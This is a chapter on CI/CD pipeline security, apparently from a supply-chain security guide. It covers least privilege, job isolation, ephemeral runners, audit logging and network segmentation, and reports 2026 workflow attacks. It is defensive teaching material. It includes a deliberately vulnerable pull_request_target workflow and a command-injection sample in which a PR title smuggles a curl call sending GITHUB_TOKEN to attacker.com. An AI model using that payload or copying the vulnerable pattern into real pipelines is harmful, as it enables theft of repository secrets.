Skip to content

17.1 CI/CD Security Principles

CI/CD = Crown Jewels

SolarWinds attackers compromised the build system—not source code, not production. CI/CD pipelines have access to source, secrets, signing keys, and deployment credentials. A compromised pipeline injects malicious code into every artifact it produces.

The SolarWinds attack succeeded because attackers compromised the build system—not the source code repository, not the deployed application, but the infrastructure that transformed code into software. CI/CD pipelines are uniquely powerful: they have access to source code, secrets, signing keys, and deployment credentials. They execute arbitrary code as part of normal operation. A compromised build pipeline can inject malicious code into every artifact it produces. Securing these systems requires principles that recognize their unique position in the software supply chain.

This section establishes foundational security principles for CI/CD pipelines that apply across platforms, from GitHub Actions to self-hosted Jenkins, providing the basis for secure build infrastructure.

The Unique Risk of CI/CD Systems

CI/CD systems combine characteristics that make them high-value targets:

Characteristic Security Implication
Code execution Run arbitrary code as core function
Credential access Store and use deployment secrets
Privileged position Trusted to modify production
Automation Actions happen without human review
Complexity Many integrations, large attack surface

The OWASP CI/CD Security Top 102 identifies the most critical risks:

  1. Insufficient Flow Control Mechanisms
  2. Inadequate Identity and Access Management
  3. Dependency Chain Abuse
  4. Poisoned Pipeline Execution
  5. Insufficient PBAC (Pipeline-Based Access Controls)
  6. Insufficient Credential Hygiene
  7. Insecure System Configuration
  8. Ungoverned Usage of Third-Party Services
  9. Improper Artifact Integrity Validation
  10. Insufficient Logging and Visibility

These risks share a common thread: CI/CD systems are often treated as trusted infrastructure rather than attack surface requiring defense. Many security teams discover that hardening applications means little if an attacker can compromise the build system and deploy arbitrary code directly to production.

The CNCF Software Supply Chain Best Practices white paper v21 provides comprehensive guidance on securing CI/CD pipelines, with persona-based recommendations for developers, operators, and security teams. It cites industry estimates that software supply chain attacks cost over $45 billion in 2023, underscoring why build infrastructure deserves production-grade security controls.

Least Privilege for Build Systems

Least privilege means granting only the minimum permissions necessary for a task. For CI/CD, this applies to every component.

Scope Credentials Per Job

Signing keys should only be accessible to release jobs. Database access should be limited to specific tables. Cloud credentials should be role-based with specific actions. Never use admin credentials or write-all permissions.

Pipeline Permissions:

# GitHub Actions: Minimal permissions
permissions:
  contents: read      # Only read source code
  packages: write     # Write to package registry
  # All other permissions implicitly denied

# NOT this:
permissions: write-all  # Excessive

Credential Scoping:

Credential Wrong Approach Right Approach
Cloud access Admin credentials Role with specific actions
Database Root access User with minimal tables
Registry Full push/pull Write to specific repos
Signing Key accessible to all jobs Key accessible only to release job

Implementation by Platform:

GitHub Actions:

# Job-level permissions
jobs:
  build:
    permissions:
      contents: read
    # Cannot push, cannot access secrets by default

  deploy:
    permissions:
      contents: read
      id-token: write  # For OIDC
    environment: production  # Requires approval

GitLab CI:

# Define DEPLOY_KEY as a protected and masked CI/CD variable
# in GitLab project or group settings, not in this YAML file.

# Restrict job to specific branches
deploy:
  only:

    - main

  environment:
    name: production

Jenkins:

// Use credentials binding with minimal scope
pipeline {
  stages {
    stage('Deploy') {
      steps {
        withCredentials([
          usernamePassword(
            credentialsId: 'deploy-creds',
            usernameVariable: 'DEPLOY_USER',
            passwordVariable: 'DEPLOY_PASS'
          )
        ]) {
          // Credentials only available in this block
          sh 'deploy.sh'
        }
        // Credentials no longer available here
      }
    }
  }
}

Least Privilege Checklist:

# CI/CD Least Privilege Audit

### Repository Access

- [ ] Build jobs have read-only source access where possible
- [ ] Write access limited to specific branches/paths
- [ ] No admin access to repositories from pipelines

### Credential Access

- [ ] Each job accesses only credentials it needs
- [ ] Credentials scoped to specific environments
- [ ] No shared "super" credentials across pipelines

### Infrastructure Access

- [ ] Build systems cannot access production directly
- [ ] Deployment requires separate, scoped credentials
- [ ] No persistent admin access from build systems

### Network Access

- [ ] Outbound access limited to required destinations
- [ ] No inbound access except from authorized sources
- [ ] Build systems isolated from corporate network

Isolation Between Build Jobs

Build isolation ensures that one job cannot interfere with or access data from another job.

Why Isolation Matters:

Without isolation:

  • Malicious job can steal secrets from other jobs
  • Compromised build can persist and affect future builds
  • One project can attack another project's build

Isolation Mechanisms:

Mechanism Isolation Level Trade-offs
Process Minimal Fast but weak isolation
Container Moderate Good balance of security and performance
VM Strong Higher overhead, better isolation
Hardware Maximum Expensive, used for highest-security

Container Isolation:

# GitHub Actions: Container job
jobs:
  build:
    runs-on: ubuntu-latest
    container:
      image: node:24
      options: --user 1001  # Non-root
    steps:
      - run: npm ci && npm run build
# GitLab CI: Container isolation
build:
  image: node:24
  script:
    - npm ci && npm run build

  # Each job runs in fresh container

VM-Level Isolation:

# GitHub Actions: Self-hosted with VM isolation
jobs:
  build:
    runs-on: [self-hosted, vm-isolated]
    # Each job gets fresh VM, destroyed after

Cross-Job Protection:

# Prevent jobs from accessing each other's data
jobs:
  job-a:
    runs-on: ubuntu-latest
    steps:
      - run: echo "secret-a" > /tmp/secret

  job-b:
    runs-on: ubuntu-latest
    needs: job-a
    steps:
      # This should NOT find job-a's secret
      - run: cat /tmp/secret || echo "Properly isolated"

Isolation Failures to Watch For:

Failure Mode Symptom Mitigation
Shared file system Jobs see each other's files Use container/VM isolation
Shared runners State persists between jobs Use ephemeral runners
Shared network Jobs can communicate Network segmentation
Shared credentials All jobs access all secrets Scope credentials per job

Ephemeral Build Environments

Ephemeral environments are created fresh for each build and destroyed afterward, eliminating persistence attacks.

Ephemeral vs. Persistent Runners:

Aspect Ephemeral Persistent
Security High (no persistence) Lower (state accumulates)
Performance Slower startup Faster (caches available)
Cost Higher (spin-up overhead) Lower
Maintenance Lower (self-cleaning) Higher (needs cleanup)
Attack surface Minimal Grows over time

The Persistence Problem:

On persistent runners:

  • Malware can hide and persist
  • Cached credentials can be stolen
  • Build artifacts can be tampered with
  • Debugging artifacts may contain secrets

Implementing Ephemeral Runners:

GitHub Actions (Self-hosted):

# Ephemeral self-hosted runner
# Runner deregisters after one job
runs-on: [self-hosted, ephemeral]

# Configuration in runner setup:
# ./config.sh --ephemeral

GitLab CI (Autoscaling):

# config.toml for GitLab Runner
[[runners]]
  name = "ephemeral-runner"
  executor = "docker+machine"
  [runners.machine]
    IdleCount = 0
    IdleTime = 0  # Destroy immediately after use
    MaxBuilds = 1  # One build per machine

Jenkins (Kubernetes):

# Kubernetes plugin: Pod template
apiVersion: v1
kind: Pod
metadata:
  labels:
    jenkins: agent
spec:
  containers:

    - name: jnlp

      image: jenkins/inbound-agent
  # Pod destroyed after build
  restartPolicy: Never

Cache Security with Ephemeral Runners:

# GitHub Actions: Secure caching pattern
jobs:
  build:
    runs-on: ubuntu-latest
    steps:

      - uses: actions/checkout@v4

      - uses: actions/cache@v3

        with:
          path: ~/.npm
          key: npm-${{ hashFiles('**/package-lock.json') }}
          # Cache keyed to lockfile - changes trigger new cache

      # Even with caching, runner is ephemeral
      # Lockfile integrity checks help detect tampered dependencies

Audit Logging and Traceability

Every action in CI/CD should be logged, traceable, and tamper-evident.

What to Log:

Category Events
Authentication Logins, token usage, failed attempts
Authorization Permission grants, access decisions
Configuration Pipeline changes, settings modifications
Execution Job runs, commands executed, artifacts created
Secrets Secret access (not values), rotations
Integration External service calls, webhook triggers

Log Requirements:

## CI/CD Audit Logging Requirements

### Mandatory Fields

- Timestamp (UTC, high precision)
- Actor (user, service, token ID)
- Action (what was done)
- Resource (what was affected)
- Result (success, failure, error)
- Source (IP, trigger source)

### Retention

- Minimum: 90 days online, 1 year archived
- Security incidents: 7 years

### Protection

- Logs shipped to immutable storage
- Tamper detection enabled
- Separate access controls from CI/CD

Platform-Specific Logging:

GitHub Actions:

# GitHub provides built-in audit logs
# Access via: Settings > Audit log

# Additional logging in workflows

- name: Log deployment

  run: |
    echo "::notice::Deployed ${{ github.sha }} to production"

# Send to external SIEM

- name: Ship logs

  uses: some-org/siem-action@v1
  with:
    endpoint: ${{ secrets.SIEM_ENDPOINT }}

GitLab CI:

# GitLab provides audit events
# Access via: Admin Area > Audit Events

# Job-level logging
script:

  - echo "Build started by ${GITLAB_USER_LOGIN} at $(date -u)"
  - # Commands here are logged in job output

# Artifact audit
artifacts:
  paths:

    - build/

  reports:
    junit: test-results.xml

Jenkins:

// Enable audit logging plugin
// Manage Jenkins > Configure Global Security > Audit Trail

pipeline {
  options {
    buildDiscarder(logRotator(numToKeepStr: '100'))
    timestamps()
  }
  stages {
    stage('Build') {
      steps {
        echo "Build ${BUILD_NUMBER} started by ${BUILD_USER}"
      }
    }
  }
}

SLSA Provenance:

SLSA3 (Supply-chain Levels for Software Artifacts) defines provenance requirements:

{
  "_type": "https://in-toto.io/Statement/v1",
  "subject": [
    {
      "name": "artifact.tar.gz",
      "digest": {"sha256": "abc123..."}
    }
  ],
  "predicateType": "https://slsa.dev/provenance/v1",
  "predicate": {
    "buildDefinition": {
      "buildType": "https://github.com/Attestations/GitHubActionsWorkflow@v1",
      "externalParameters": {
        "source": {
          "uri": "git+https://github.com/org/repo",
          "digest": {"sha1": "abc123..."}
        }
      }
    },
    "runDetails": {
      "builder": {"id": "https://github.com/Attestations/GitHubHostedActions@v1"},
      "metadata": {"invocationId": "https://github.com/org/repo/actions/runs/12345"}
    }
  }
}

Network Segmentation

Build infrastructure should be network-isolated from both development and production environments.

Segmentation Architecture:

┌─────────────────────────────────────────────────────────────────┐
│                    NETWORK SEGMENTATION                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  ┌──────────────────┐    ┌──────────────────┐                  │
│  │   DEVELOPMENT    │    │   PRODUCTION     │                  │
│  │     NETWORK      │    │     NETWORK      │                  │
│  └────────┬─────────┘    └────────┬─────────┘                  │
│           │                       │                             │
│           │ (no direct access)    │ (no direct access)         │
│           │                       │                             │
│  ┌────────▼───────────────────────▼─────────┐                  │
│  │              BUILD NETWORK                │                  │
│  │                                          │                  │
│  │   ┌─────────┐  ┌─────────┐  ┌─────────┐ │                  │
│  │   │ Runners │  │ Artifact│  │ Registry│ │                  │
│  │   │         │  │ Storage │  │         │ │                  │
│  │   └─────────┘  └─────────┘  └─────────┘ │                  │
│  │                                          │                  │
│  └──────────────────────────────────────────┘                  │
│                         │                                       │
│              (controlled egress only)                           │
│                         │                                       │
│  ┌──────────────────────▼──────────────────┐                   │
│  │           EXTERNAL SERVICES              │                   │
│  │  (package registries, APIs, etc.)       │                   │
│  └─────────────────────────────────────────┘                   │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Egress Controls:

# Kubernetes NetworkPolicy for build runners
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: build-runner-egress
spec:
  podSelector:
    matchLabels:
      role: build-runner
  policyTypes:

    - Egress

  egress:
    # Allow package registries

    - to:
        - ipBlock:

            cidr: 104.16.0.0/12  # npm, etc.
      ports:

        - port: 443

    # Allow internal artifact storage

    - to:
        - namespaceSelector:

            matchLabels:
              name: artifact-storage
      ports:

        - port: 443

    # Deny all other egress by default

Cloud-Specific Segmentation:

Cloud Implementation
AWS VPC for build systems, Security Groups, NAT Gateway egress
Azure VNet, NSGs, Azure Firewall
GCP VPC, Firewall Rules, Cloud NAT

Minimal Build Authority

Minimal build authority means the build system should have only the capabilities required to build software—nothing more.

Authority Boundaries:

Authority Build System Should Build System Should NOT
Source code Read Modify (except designated files)
Dependencies Download from approved sources Download from arbitrary sources
Artifacts Create and sign Deploy to production directly
Infrastructure None Provision or modify
Secrets Access scoped secrets Access all secrets

Separation of Concerns:

BUILD AUTHORITY          vs.         DEPLOY AUTHORITY
─────────────────────────────────────────────────────
Compile code                         Push to production
Run tests                            Modify infrastructure
Create artifacts                     Access production data
Sign packages                        Change production config
Upload to staging                    Access customer data

Implementation Pattern:

# GitHub Actions: Separated build and deploy
jobs:
  build:
    # Build has minimal authority
    permissions:
      contents: read
    outputs:
      artifact-digest: ${{ steps.build.outputs.digest }}
    steps:

      - uses: actions/checkout@v4
      - run: npm ci && npm run build
      - id: build

        run: echo "digest=$(sha256sum dist.tar.gz)" >> $GITHUB_OUTPUT

      - uses: actions/upload-artifact@v4

        with:
          name: dist
          path: dist.tar.gz

  deploy:
    # Deploy has scoped authority, requires approval
    needs: build
    permissions:
      contents: read
      id-token: write
    environment: production  # Requires manual approval
    steps:

      - uses: actions/download-artifact@v4

      # Verify artifact integrity before deploy

      - run: |

          echo "${{ needs.build.outputs.artifact-digest }}" | sha256sum -c

      - uses: aws-actions/configure-aws-credentials@v4

        with:
          role-to-assume: ${{ secrets.DEPLOY_ROLE }}

Dangerous Workflow Patterns

Certain CI/CD patterns create vulnerabilities that are easy to overlook. These anti-patterns often arise from legitimate requirements but implement solutions in insecure ways.

GitHub Actions: pull_request_target Injection

A particularly dangerous attack vector involves the pull_request_target event in GitHub Actions. Unlike pull_request, which runs workflow code from the PR branch in a restricted context, pull_request_target runs workflow code from the base branch but with access to repository secrets and write permissions. If the workflow checks out and executes PR code, an attacker can submit a malicious PR that gains full access to secrets:

# DANGEROUS: Checks out untrusted PR code with secret access
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Untrusted code!
      - run: npm test  # Executes attacker-controlled code with secrets
        env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}

Why this is dangerous:

  • The workflow file itself is trusted (from the base branch)
  • But the checked-out code is untrusted (from the PR branch)
  • Secrets are available because pull_request_target is "trusted"
  • Attacker can modify package.json scripts, test files, or any code path

2026: Cordyceps showed this pattern at scale

In June 2026, Novee Security named Cordyceps for workflow compositions where untrusted pull requests can trigger privileged workflows. In a scan of about 30,000 high-impact repositories, researchers reported 300+ fully exploitable cases. Reported examples included Microsoft's Azure Sentinel, where a PR comment could run anonymous attacker code on Microsoft CI and steal a non-expiring GitHub App key; Google's AI Agent Development Kit samples, where a PR could gain complete authority over a Google Cloud repository; Apache Doris, where PR comments could trigger zero-click code execution and exfiltrate CI credentials; Cloudflare Workers SDK, where a crafted branch name could execute commands on CI runners; and Python's Black, where a single PR could steal an automation token usable to approve PRs.4 After disclosure, Microsoft and Google reportedly confirmed impact, while Cloudflare, Python, and Apache applied hardening or patches. The reported attack path required no organization membership; a free account was enough to forge approvals, push code, or steal credentials. The important lesson is not that a single GitHub Actions feature was broken, but that untrusted PR data crossed a trust boundary while each individual workflow component was "working as designed."

We recommend treating every PR-triggered workflow as untrusted until a protected environment, maintainer approval, and least-privilege token scope say otherwise. Prefer pull_request for validation, keep GITHUB_TOKEN read-only by default, require approval for workflows from forks, and do not expose long-lived or non-expiring credentials to any job reachable from PR metadata. Novee also warned that agentic coding can reproduce these workflow patterns at scale, so template review matters as much as reviewing hand-written YAML.

2026: AsyncAPI—from research finding to live exploitation

Weeks after the Cordyceps disclosures, the pattern moved from exposure to exploitation. On July 14, 2026, attackers exploited a pull_request_target workflow across four core AsyncAPI repositories to steal the asyncapi-bot personal access token, then published five trojanized packages—including @asyncapi/generator and @asyncapi/specs, with a combined 2.25+ million weekly downloads—to npm. The payload staged a multi-stage remote access trojan via IPFS and harvested browser data, SSH keys, cloud credentials, and tokens. The malicious versions were live for roughly four hours before removal.5 The bot account is the lesson: automation identities with publishing rights concentrate exactly the privileges these workflow patterns expose, so their tokens deserve the tightest possible scoping, rotation, and monitoring.

Safe patterns:

# SAFE: Two-workflow approach
# Workflow 1: Validate in restricted context
on: pull_request
jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test  # No secrets available

# Workflow 2: Only runs on approval
on:
  pull_request_review:
    types: [submitted]
jobs:
  deploy-preview:
    if: github.event.review.state == 'approved'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm run deploy-preview
        env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}

Mitigation checklist:

  • Audit all pull_request_target workflows
  • Prefer pull_request over pull_request_target for untrusted validation
  • Never check out github.event.pull_request.head.sha in privileged workflows
  • Use separate workflows for validation (unprivileged) and deployment (privileged)
  • Set GITHUB_TOKEN and job permissions to read-only unless a protected job needs more
  • Require approval before workflows from forks or external PRs perform privileged actions
  • Remove long-lived and non-expiring credentials from all PR-triggered jobs

Environment Variable Injection

Build systems often interpolate user-controlled data into shell commands. Without proper escaping, attackers can inject arbitrary commands:

# DANGEROUS: Unescaped interpolation
- run: echo "Building ${{ github.event.pull_request.title }}"
  # PR title: "fix"; curl attacker.com/steal?token=$GITHUB_TOKEN

Mitigation: Use environment variables instead of inline interpolation:

# SAFE: Environment variable
- run: echo "Building $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

Recommendations

For DevOps Engineers:

  1. Default to minimal permissions. Start with no permissions and add only what's required. Document every permission and its justification.

  2. Use ephemeral runners. Persistent runners accumulate risk. Ephemeral runners eliminate persistence attacks and simplify security.

  3. Segment build networks. Build systems should not have direct access to production. Use separate networks and controlled pathways.

For Platform Engineers:

  1. Implement comprehensive logging. Every CI/CD action should be logged to immutable storage. You cannot investigate what you didn't record.

  2. Separate build and deploy authority. Building software and deploying it are different functions requiring different permissions. Separate them.

  3. Design for isolation. Each build job should be isolated from others. Container or VM isolation prevents cross-job attacks.

For Security Practitioners:

  1. Audit CI/CD like production. Apply the same security rigor to build systems as production systems. They're equally critical.

  2. Verify isolation regularly. Test that jobs cannot access each other's data, that runners are truly ephemeral, and that network controls work.

  3. Assume compromise. Design build systems assuming they will be targeted. Minimize blast radius through segmentation and least privilege.

CI/CD security principles form the foundation for everything that follows. Without least privilege, isolation, ephemeral environments, logging, segmentation, and minimal authority, no amount of tooling or process will secure your build pipeline. These principles—applied consistently across platforms—create the conditions for secure software delivery.


  1. CNCF TAG Security, "Software Supply Chain Best Practices v2," November 2024, https://tag-security.cncf.io/blog/software-supply-chain-security-best-practices-v2/ 

  2. OWASP, "Top 10 CI/CD Security Risks," https://owasp.org/www-project-top-10-ci-cd-security-risks/ 

  3. OpenSSF, "SLSA: Supply-chain Levels for Software Artifacts," https://slsa.dev/ 

  4. The Hacker News, "Cordyceps CI/CD Flaws Expose 300+ GitHub Repositories to Supply Chain Attacks," June 2026, https://thehackernews.com/2026/06/cordyceps-cicd-flaws-expose-300-github.html; Ionut Arghire, "Exploitable CI/CD Vulnerabilities Expose Millions of Repositories to Hijacking," SecurityWeek, June 2026, https://www.securityweek.com/exploitable-ci-cd-vulnerabilities-expose-millions-of-repositories-to-hijacking/ 

  5. GitGuardian, "The Streak Continues: Four More Supply Chain Attacks Hit npm and PyPI," July 2026, https://blog.gitguardian.com/shai-hulud-npm-pypi-supply-chain-attacks/